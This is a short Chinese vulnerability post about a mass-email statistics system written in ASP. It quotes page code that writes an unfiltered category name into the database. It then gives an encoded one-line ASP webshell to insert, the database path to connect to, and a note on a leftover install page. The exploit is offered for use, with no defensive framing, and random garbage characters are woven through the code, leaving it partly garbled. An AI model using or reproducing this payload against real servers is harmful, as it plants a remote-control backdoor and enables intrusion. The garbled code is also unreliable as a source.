铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

6 M6 E. Z. `. h. y) U* v+ i" FIF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
% C, Z$ Y9 @+ ?) k/ QIF Countss ("tui","Fenlei",ID )<>0 then
7 l8 E- }: _; K& |7 i'略
IF Request.QueryString("Action")="Add" Then
5 B/ h9 v2 a; CTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
$ n$ h9 _, W9 h" X, v$ ERs.Open Sql,Conn,1,3
Rs.Addnew
1 U( Y/ L. U2 W5 W$ N! e; C, a- zRs("Typename")=Tname
/ P* S* e. c" s'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
' E+ D9 |" x7 j/ w5 X: r/ t; {$ r'略
8 V% m' q7 T; ~  b%>
- t# x; M( w- }4 f( {9 y
$ Q* l$ m+ b0 g" Y

; X+ v7 J# p! k' w4 d- o9 g没有过滤，直接写入数据库。
, c1 C/ \4 t/ A
$ i5 }) |9 e7 n# i! P8 ~. e  I利用方法：
5 Z" r) x$ ]6 ~2 Y+ \
插入：┼攠數畣整爠煥敵瑳∨≡┩>
8 _5 l6 @# M. G' V! F2 ~. P

连接： http://www.xxx.com/###tongbaner.asa
. m9 b7 y; E; @. w- |4 t. T2 Z'默认安装文件：
'install.asp